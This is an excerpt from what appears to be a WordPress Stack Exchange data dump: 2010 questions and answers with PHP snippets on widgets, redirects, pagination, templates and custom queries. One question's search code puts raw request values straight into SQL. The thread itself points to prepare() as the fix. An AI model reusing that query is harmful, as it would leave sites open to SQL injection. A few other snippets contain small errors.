$taxonomy = get_taxonomy( $taxonomy_name );&#xA;            $before = apply_filters( 'wpse5394_taxonomy_before', '&amp;lt;p&amp;gt;' . $taxonomy-&amp;gt;label . ': ', $taxonomy );&#xA;            $sep = apply_filters( 'wpse5394_taxonomy_sep', ', ' );&#xA;            $after = apply_filters( 'wpse5394_taxonomy_after', '&amp;lt;/p&amp;gt;' );&#xA;            $terms = get_the_term_list( 0, $taxonomy_name, $before, $sep, $after );&#xA;            if ( $terms ) {&#xA;                $taxonomy_terms .= $terms;&#xA;            }&#xA;        }&#xA;&#xA;        if ( ! $taxonomy_terms ) {&#xA;            // No taxonomy terms will be displayed - don't display the widget&#xA;            return;&#xA;        }&#xA;        $output .= $taxonomy_terms;&#xA;&#xA;        $output .= $sidebar_args['after_widget'];&#xA;&#xA;        echo $output;&#xA;    }&#xA;}&#xA;&#xA;add_action( 'widgets_init', 'wpse5394_widgets_init' );&#xA;function wpse5394_widgets_init()&#xA;{&#xA;    register_widget( 'WPSE_5394_Widget' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most options can be set via filters, like the taxonomies you want to display:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wpse5394_taxonomies', 'wpse5394_taxonomies' );&#xA;function wpse5394_taxonomies( $taxonomies )&#xA;{&#xA;    unset( $taxonomies['category'] );&#xA;    return $taxonomies;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-29T11:00:34.620" CommentCount="3" />
  <row Id="6075" PostTypeId="2" ParentId="6071" CreationDate="2010-12-29T12:10:18.643" Score="0" ViewCount="" Body="&lt;p&gt;What you're looking for is a 301 redirect. I use two plugins to catch do this. One notify's me of 404 errors ( &lt;a href=&quot;http://wordpress.org/extend/plugins/404-notifier/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/404-notifier/&lt;/a&gt; ) and the other makes writing the 301 redirects easy ( &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-301-redirects/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/simple-301-redirects/&lt;/a&gt; ). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also write the 301 redirects in your .htaccess file and dig through the server logs to find the 404 notices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long term you just need to wait for Google to crawl the site and find the new link structure. If other people are linking to your site from other blogs you can try and get them to fix their links but it's unlikely that you'll be able to get many people to do that.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-12-29T12:10:18.643" CommentCount="6" />
  <row Id="6076" PostTypeId="2" ParentId="6072" CreationDate="2010-12-29T12:51:11.177" Score="1" ViewCount="" Body="&lt;p&gt;&lt;em&gt;This answer assumes you are talking about the regular login page, &lt;code&gt;/wp-login.php&lt;/code&gt;, and that each user exists as a user in the WordPress database. After reading your question again I'm not so sure that is what you want to do.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a first attempt, but it is not complete because it asks for your password again on the protected post, and because it does not know when you want to visit &lt;code&gt;/wp-admin/&lt;/code&gt; or another restricted area.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'login_redirect', 'wpse6072_login_redirect', 10, 2 );&#xA;function wpse6072_login_redirect( $redirect_to, $requested_redirect )&#xA;{&#xA;    // You somehow need to figure out how to make a difference between an admin login and a regular login&#xA;    if ( /*! array_key_exists( 'redirect_to', $_REQUEST ) &amp;amp;&amp;amp;*/ array_key_exists( 'pwd', $_POST ) ) {&#xA;        global $wpdb;&#xA;        $post_id = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( &quot;SELECT ID FROM {$wpdb-&amp;gt;posts} WHERE post_password = %s&quot;, $_POST['pwd'] ) );&#xA;        $post_permalink = get_permalink( $post_id );&#xA;        if ( $post_permalink ) {&#xA;            // TODO: Set the post password in a way that satisfied WordPress&#xA;            $redirect_to = $post_permalink;&#xA;        }&#xA;    }&#xA;    return $redirect_to;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-29T12:56:47.067" LastActivityDate="2010-12-29T12:56:47.067" CommentCount="3" />
  <row Id="6077" PostTypeId="1" CreationDate="2010-12-29T13:39:31.967" Score="0" ViewCount="84" Body="&lt;p&gt;How can i add rel=&quot;nofollow&quot; to this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot; &amp;lt;a href='&quot;;&#xA;the_permalink();&#xA;echo &quot;' &amp;gt;&quot;.&quot;(...)&quot;.&quot;&amp;lt;/a&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-12-29T19:11:12.853" Title="How to add rel nofollow to this?" Tags="&lt;nofollow&gt;" AnswerCount="1" />
  <row Id="6078" PostTypeId="2" ParentId="6077" CreationDate="2010-12-29T13:45:42.947" Score="1" ViewCount="" Body="&lt;p&gt;not sure but try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot; &amp;lt;a href='&quot;;&#xA;the_permalink();&#xA;echo &quot;' rel='nofollow'&amp;gt;&quot;.&quot;(...)&quot;.&quot;&amp;lt;/a&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also have a look on this&#xA;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; rel=&quot;nofollow&quot;&amp;gt;(...)&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2010-12-29T14:01:29.350" LastActivityDate="2010-12-29T14:01:29.350" />
  <row Id="6079" PostTypeId="1" AcceptedAnswerId="6082" CreationDate="2010-12-29T13:54:44.260" Score="0" ViewCount="159" Body="&lt;p&gt;I am new to WordPress, and I need to make some quick changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find the Page that is referenced by a permalink: e.g. for www.example.com/mypermalink how can I locate the actual WP Page so I can find it either in the file system or in the WP Pages list?&lt;/p&gt;&#xA;" OwnerUserId="397" LastActivityDate="2010-12-29T15:44:04.080" Title="How can I reverse engineer a Permalink to Find the Page?" Tags="&lt;permalinks&gt;&lt;page&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6080" PostTypeId="2" ParentId="1604" CreationDate="2010-12-29T14:27:16.923" Score="3" ViewCount="" Body="&lt;p&gt;no one has said this so I thought I'd add an even easier way..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as long as your additional database has the same user/pass details to access it as your wordpress database you can use the database name before the table name like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $wpdb-&amp;gt;prepare('SELECT * FROM dbname.dbtable WHERE 1');&#xA;$result = $wpdb-&amp;gt;get_results($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="699" LastActivityDate="2010-12-29T14:27:16.923" />
  <row Id="6081" PostTypeId="2" ParentId="858" CreationDate="2010-12-29T15:08:27.707" Score="0" ViewCount="" Body="&lt;p&gt;If you don't want to create custom post types, and you simply want to include a custom sidebar for each page or post, you could use the Graceful Sidebar Plugin.  This lets create custom sidebar content right from within the post or page edit screen using additional fields called graceful title and graceful content.  These are then displayed in the sidebar area as a widget when this post or page is being displayed on your blog.  More information on this plugin is available at &lt;a href=&quot;http://mlynn.org/graceful-sidebar-plugin&quot; rel=&quot;nofollow&quot;&gt;http://www.mlynn.org/graceful-sidebar-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1661" LastActivityDate="2010-12-29T15:08:27.707" />
  <row Id="6082" PostTypeId="2" ParentId="6079" CreationDate="2010-12-29T15:44:04.080" Score="4" ViewCount="" Body="&lt;p&gt;Addressing both your original question and the question implied by your comment ...&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Finding the page ID&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Every post and page within WordPress is given an ID.  By default, WordPress uses the ID in the link structure: &lt;a href=&quot;http://www.example.com/?page=ID&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/?page=ID&lt;/a&gt; or &lt;a href=&quot;http://www.example.com/?p=ID&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/?p=ID&lt;/a&gt; (for posts).  You can change this to a more user-friendly structure called &quot;pretty permalinks&quot; that will use the page slug in the URL instead: &lt;a href=&quot;http://www.example.com/my-page-slug&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/my-page-slug&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, though, these permalinks can become very long.  This is bad for certain situations (i.e. posting to Twitter), so WordPress retains the shorter ID-based URLs as &quot;shortlinks.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can figure out the shortlink for a particular post or page by navigating to that page, right-clicking, and selecting &quot;view source.&quot;  Then look through the source for a specific section of meta tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;generator&quot; content=&quot;WordPress 3.0.3&quot; /&amp;gt; &#xA;&amp;lt;link rel='shortlink' href='http://example.com/?p=2' /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This &quot;shortlink&quot; tag tells you that you're looking for post #2.  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Finding the page in WordPress admin&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You've already discovered the easiest way to find a post or page - just search for the page slug when you're in the admin.  This will find it almost every time, or at least give you a small list of possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to use the ID you discovered above to jump straight to the post/page edit screen.  Every post or page edit screen uses the following URL structure: &lt;a href=&quot;http://example.com/wp-admin/post.php?post=ID&amp;amp;action=edit&quot; rel=&quot;nofollow&quot;&gt;http://example.com/wp-admin/post.php?post=&lt;strong&gt;ID&lt;/strong&gt;&amp;amp;action=edit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just substitute the ID you discovered above for &lt;strong&gt;ID&lt;/strong&gt; in the URL and you'll be taken to the post/page edit screen for that content.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Template Files&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Page templates are defined by your theme.  They'll all be located somewhere in the &lt;code&gt;/wp-content/themes/YOUR-THEME/&lt;/code&gt; folder.  The name of the page template (which you saw on the post edit screen) might give you a hint as to which file you're looking for, but I can't guarantee it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just know that all page template files will begin with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;/* Template Name: PAGE TEMPLATE NAME */ &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if you have more than one template file defined by your theme, looking for this tag will help you identify the specific one you'll need to edit.  This template will define the HTML and PHP code used by pages that specifically call out that particular template.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-29T15:44:04.080" CommentCount="1" />
  <row Id="6083" PostTypeId="1" CreationDate="2010-12-29T17:36:27.467" Score="0" ViewCount="692" Body="&lt;p&gt;I am having problems with &lt;code&gt;pagination&lt;/code&gt; on &lt;code&gt;category&lt;/code&gt; page that lists posts only within a certain category. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens is the &lt;code&gt;Next&lt;/code&gt; link takes to &lt;code&gt;/page/2&lt;/code&gt; but the content stays the same.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $id = get_cat_id($current_category);&#xA;    $my_query = new WP_Query('cat='. $id .'&amp;amp;showposts=2');&#xA;    while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;    &amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'themename' ) ); ?&amp;gt; &#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php if (  $my_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;    &amp;lt;nav id=&quot;nav-below&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;next&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( '&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt; Previous ', 'themename' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;prev&quot;&amp;gt;&amp;lt;?php next_posts_link( __( 'Next &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;', 'themename' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-03-27T09:33:52.257" Title="WP_Query Pagination" Tags="&lt;wp-query&gt;&lt;pagination&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="6084" PostTypeId="1" AcceptedAnswerId="6085" CreationDate="2010-12-29T18:04:02.037" Score="1" ViewCount="70" Body="&lt;p&gt;I'm currently working on a website that has a static frontpage and couple of pages that is going to contain portfolio and things alike on the other pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing I want to do is to hardcode content on the frontpage in css and xhtml.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible and where do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it should be done in &lt;strong&gt;index.php&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in between: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;&amp;lt;?php get_header(); ?&amp;gt;&quot; and &quot;&amp;lt;?php get_footer(); ?&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;calling the content with if and else statement on: is_front_page()&lt;/p&gt;&#xA;" LastActivityDate="2010-12-29T18:32:15.490" Title="how to setup content on a static frontpage with css and xhtml" Tags="&lt;css&gt;&lt;html&gt;&lt;static-website&gt;" AnswerCount="2" />
  <row Id="6085" PostTypeId="2" ParentId="6084" CreationDate="2010-12-29T18:15:11.047" Score="1" ViewCount="" Body="&lt;p&gt;I would set up a new page template (see &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&lt;/a&gt;), create a new page (Pages &gt; New) and set it to use that template, and then set WordPress to use that page as the homepage (Settings &gt; Reading).  Then you can fill the custom page template with whatever content you want in between wp_head() and wp_footer(). &lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-12-29T18:15:11.047" />
  <row Id="6086" PostTypeId="2" ParentId="6084" CreationDate="2010-12-29T18:15:25.780" Score="0" ViewCount="" Body="&lt;p&gt;Nope, you got it wrong. &lt;code&gt;index.php&lt;/code&gt; does usually handle presentation of site's root, but it's also core fallback template for everything else. So you are potentially breake things deeper by trying to edit it like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your options are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create special &lt;code&gt;front-page.php&lt;/code&gt; template for it;&lt;/li&gt;&#xA;&lt;li&gt;create static page with its own template and assign it to be site's front page.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I suppose either of these might be done already if you say site has static frontpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Front_Page_display&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy &gt; Front Page Display&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Settings_Reading_SubPanel&quot; rel=&quot;nofollow&quot;&gt;Settings Reading SubPanel&lt;/a&gt; for documentation.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-12-29T18:32:15.490" LastActivityDate="2010-12-29T18:32:15.490" />
  <row Id="6089" PostTypeId="1" AcceptedAnswerId="6091" CreationDate="2010-12-29T19:19:14.017" Score="0" ViewCount="134" Body="&lt;p&gt;I'm having a bit of a brain fart on this one. I'm working on some code that resembles a custom search form. The custom search form, is a mixture of checkboxes as well as some drop downs. All of the fields which are being searched for are also custom fields. The custom fields were entered through a custom write panel. Some of the fields are single values others are serialized fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current code works, but i'm not sure if should be taking another approach, i'm not looking for anyone to write code for me. I'm just looking for some ideas on how this could be better.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$city = $_REQUEST['sCity'];&#xA;$activity = $_REQUEST['sActivity'][0];&#xA;$riverSegment = $_REQUEST['sRiverSegment'];&#xA;$topicOfInterest = $_REQUEST['sTopicOfInterest'][0];&#xA;&#xA;$querystr = &quot;&#xA;SELECT DISTINCT wp_posts.* FROM wp_posts, wp_postmeta&#xA;WHERE (&#xA; wp_posts.ID = wp_postmeta.post_id&#xA; AND wp_postmeta.meta_key = 'city'&#xA; AND wp_postmeta.meta_value = '$city'&#xA;) OR (&#xA; wp_posts.ID = wp_postmeta.post_id&#xA; AND wp_postmeta.meta_key = 'riverSegment'&#xA; AND wp_postmeta.meta_value = '$riverSegment'&#xA;) OR (&#xA; wp_posts.ID = wp_postmeta.post_id&#xA; AND wp_postmeta.meta_key = 'topicOfInterest'&#xA; AND wp_postmeta.meta_value LIKE '%$topicOfInterest%'&#xA;) OR (&#xA; wp_posts.ID = wp_postmeta.post_id&#xA; AND wp_postmeta.meta_key = 'activity'&#xA; AND wp_postmeta.meta_value LIKE '%$activity%'&#xA;) AND wp_posts.post_status = 'publish' AND wp_posts.post_type = 'sites'&#xA;ORDER BY wp_posts.post_date DESC&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I feel like the above sample is flawed because if the first condition finds a match it will ignore the rest of the conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Side Note:&lt;/strong&gt; If i'm working with $wpdb-&gt;get_results(); should i still be escaping the user input to keep it clean?&lt;/p&gt;&#xA;" OwnerUserId="2202" LastActivityDate="2010-12-29T19:38:49.470" Title="Custom Search, MySql Query Gone Wrong?" Tags="&lt;custom-field&gt;&lt;mysql&gt;" AnswerCount="1" />
  <row Id="6090" PostTypeId="1" AcceptedAnswerId="6921" CreationDate="2010-12-29T19:29:57.523" Score="2" ViewCount="140" Body="&lt;p&gt;If I'm using a custom post type for a Movie or a TV show episode, I may use a taxonomy for &quot;actors&quot; and assign all the actors related to the work to it, but I'm not sure how, besides of that, I can also add &lt;strong&gt;the character the actor is playing in said work&lt;/strong&gt;. The characters themselves may or may be not a taxonomy, as sometimes one also needs extra space for adding notes, like &quot;John Doe (voice)&quot; or &quot;John Smith (via stock footage). I can figure something like a metabox with columns for each thing, yet I'm not sure how to make it harmonious (or do it at all). &lt;/p&gt;&#xA;" OwnerUserId="2201" LastActivityDate="2011-01-13T21:45:33.597" Title="Add additional data to a specific taxonomy term when used in a post" Tags="&lt;taxonomy&gt;&lt;metabox&gt;" AnswerCount="2" />
  <row Id="6091" PostTypeId="2" ParentId="6089" CreationDate="2010-12-29T19:38:49.470" Score="0" ViewCount="" Body="&lt;p&gt;This doesn't seem especially complex, but does seem bulky and prone to errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I answered couple of times on similar issues - if this isn't time critical then wait for WP 3.1 because it will have major improvements for querying by custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://scribu.net/wordpress/advanced-metadata-queries.html&quot; rel=&quot;nofollow&quot;&gt;Advanced Metadata Queries&lt;/a&gt; for brief writeup on upcoming improvements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For sanitizing queries see &lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt; method - &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class#Protect_Queries_Against_SQL_Injection_Attacks&quot; rel=&quot;nofollow&quot;&gt;Protect Queries Against SQL Injection Attacks&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-29T19:38:49.470" CommentCount="1" />
  <row Id="6092" PostTypeId="2" ParentId="6083" CreationDate="2010-12-29T19:40:02.947" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@eeyore:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without being able to see the full context of your theme page I think you have at least two issues. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&lt;li&gt;You need to use &lt;code&gt;$wp_query&lt;/code&gt; instead of &lt;code&gt;$my_query&lt;/code&gt; if you want &lt;code&gt;previous_posts_link()&lt;/code&gt; and &lt;code&gt;next_posts_link()&lt;/code&gt; to work since they assume &lt;code&gt;$wp_query&lt;/code&gt;.&lt;/li&gt;&#xA;&#xA;&lt;li&gt;What &lt;em&gt;@Jan Fabry&lt;/em&gt; mentioned; you need to capture the pagination yourself and pass it to &lt;code&gt;WP_Query&lt;/code&gt; as a &lt;code&gt;'paged'&lt;/code&gt; parameter. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = $_SERVER['REQUEST_URI'];&#xA;if (strpos($url,'/page/')===false)&#xA;  $paged = 1;&#xA;else &#xA;  $paged = preg_replace('#^.*/page/([0-9]+)/.*$#','\1',$url));&#xA;$wp_query = new WP_Query('cat='. $id .&quot;&amp;amp;showposts=1&amp;amp;paged={$paged}&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That said, why are you creating your own query on this page? Is it so you can set the number of posts per page to be 2?  If so, there's a much easier way and you can let WordPress handle pagination; add this to your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts','yoursite_pre_get_posts2');&#xA;function yoursite_pre_get_posts2($query) {&#xA;  $query-&amp;gt;set('posts_per_page',2);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-29T20:29:06.953" LastActivityDate="2010-12-29T20:29:06.953" CommentCount="1" />
  <row Id="6093" PostTypeId="2" ParentId="5960" CreationDate="2010-12-29T19:58:36.963" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Alex:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your client wants to mirror on Blogger this &lt;em&gt;&quot;In case WordPress fails?!?&quot;&lt;/em&gt; OMG!!!! Do they not understand how WordPress works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set him up a second WordPress site on a different web host or on WordPress.com! Don't put up with Blogger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple solution would be to use &lt;a href=&quot;http://windowslivewriter.spaces.live.com/&quot; rel=&quot;nofollow&quot;&gt;Windows Live Writer&lt;/a&gt; or &lt;a href=&quot;http://www.qumana.com/&quot; rel=&quot;nofollow&quot;&gt;Qumana&lt;/a&gt; to write the posts and then just having them submit to both sites using those programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A programming solution would be to monitor RSS feeds on a psuedo-cron task and then import them with &lt;code&gt;wp_insert_post()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://perishablepress.com/press/2009/04/26/import-and-display-rss-feeds-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Import and Display RSS Feeds in WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://chipsandtv.com/articles/wordpress-pseudo-crons&quot; rel=&quot;nofollow&quot;&gt;Pseudo Cron Jobs with WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;Function Reference/wp_insert_post&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But whatever you do get them to stick with WordPress on the multiple sites; doing anything else is madness!&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-29T19:58:36.963" CommentCount="2" />
  <row Id="6094" PostTypeId="2" ParentId="2573" CreationDate="2010-12-29T20:17:06.630" Score="0" ViewCount="" Body="&lt;p&gt;use this &lt;a href=&quot;http://farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;http://farinspace.com/wpalchemy-metabox/&lt;/a&gt; (amazing!!) and set your metabox to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'hide_title' =&amp;gt; true,&#xA;'view' =&amp;gt; WPALCHEMY_VIEW_ALWAYS_OPENED,&#xA;'lock' =&amp;gt; WPALCHEMY_LOCK_AFTER_POST_TITLE &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20" LastActivityDate="2010-12-29T20:17:06.630" />
  <row Id="6095" PostTypeId="1" AcceptedAnswerId="6097" CreationDate="2010-12-29T20:25:41.880" Score="0" ViewCount="193" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php $recent = new WP_Query(); ?&amp;gt;&#xA;&amp;lt;?php $recent-&amp;gt;query('cat=1&amp;amp;showposts=2'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With what can i replace cat=1 to show posts from all the categories?&lt;/p&gt;&#xA;" LastActivityDate="2011-01-26T18:42:40.663" Title="How can i show all categories using wp query?" Tags="&lt;query&gt;" AnswerCount="2" />
  <row Id="6096" PostTypeId="1" AcceptedAnswerId="6099" CreationDate="2010-12-29T20:42:01.420" Score="0" ViewCount="176" Body="&lt;p&gt;For a project I'm working on, I want to change the labels of the 'Nickname' and 'Biographical Info' fields on edit profile (user-edit.php) page in the dashboard. I still want to use those fields as they are, I only want to change the labels. Anyone know of a function that can do this?&lt;/p&gt;&#xA;" OwnerUserId="2041" LastActivityDate="2010-12-29T21:15:20.313" Title="Change labels on 'Nickname' and 'Biographical Info' in user-edit.php" Tags="&lt;functions&gt;&lt;users&gt;&lt;dashboard&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6097" PostTypeId="2" ParentId="6095" CreationDate="2010-12-29T20:50:52.587" Score="4" ViewCount="" Body="&lt;p&gt;You should be able to remove that category from the query so you would have&lt;code&gt;&amp;lt;?php $recent-&amp;gt;query('showposts=2'); ?&amp;gt;&lt;/code&gt; you can also take a look at completely custom queries &lt;a href=&quot;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &#xA;`&lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2010-12-29T20:50:52.587" CommentCount="5" />
  <row Id="6098" PostTypeId="1" AcceptedAnswerId="6101" CreationDate="2010-12-29T20:56:38.823" Score="0" ViewCount="128" Body="&lt;p&gt;Is there a way to use regular categories with custom post types?  It seems like there is better functionality and options with regular categories (such as permalink options, etc.).&lt;/p&gt;&#xA;" OwnerUserId="2194" LastActivityDate="2010-12-29T21:11:38.350" Title="Is there a way to use regular categories with custom post types?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;" AnswerCount="1" />
  <row Id="6099" PostTypeId="2" ParentId="6096" CreationDate="2010-12-29T21:04:26.580" Score="2" ViewCount="" Body="&lt;p&gt;Every string goes through &lt;code&gt;translate()&lt;/code&gt;, which uses the &lt;code&gt;gettext&lt;/code&gt; filter. This mean you can try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'gettext', 'wpse6096_gettext', 10, 2 );&#xA;function wpse6096_gettext( $translation, $original )&#xA;{&#xA;    if ( 'Nickname' == $original ) {&#xA;        return 'Funny name';&#xA;    }&#xA;    if ( 'Biographical Info' == $original ) {&#xA;        return 'Resume';&#xA;    }&#xA;    return $translation;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's probably even more efficient if you only call the &lt;code&gt;add_filter&lt;/code&gt; when you are on the &lt;code&gt;user-edit.php&lt;/code&gt; page (see the &lt;code&gt;admin_head-user-edit.php&lt;/code&gt; hook or something like that).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-29T21:04:26.580" CommentCount="1" />
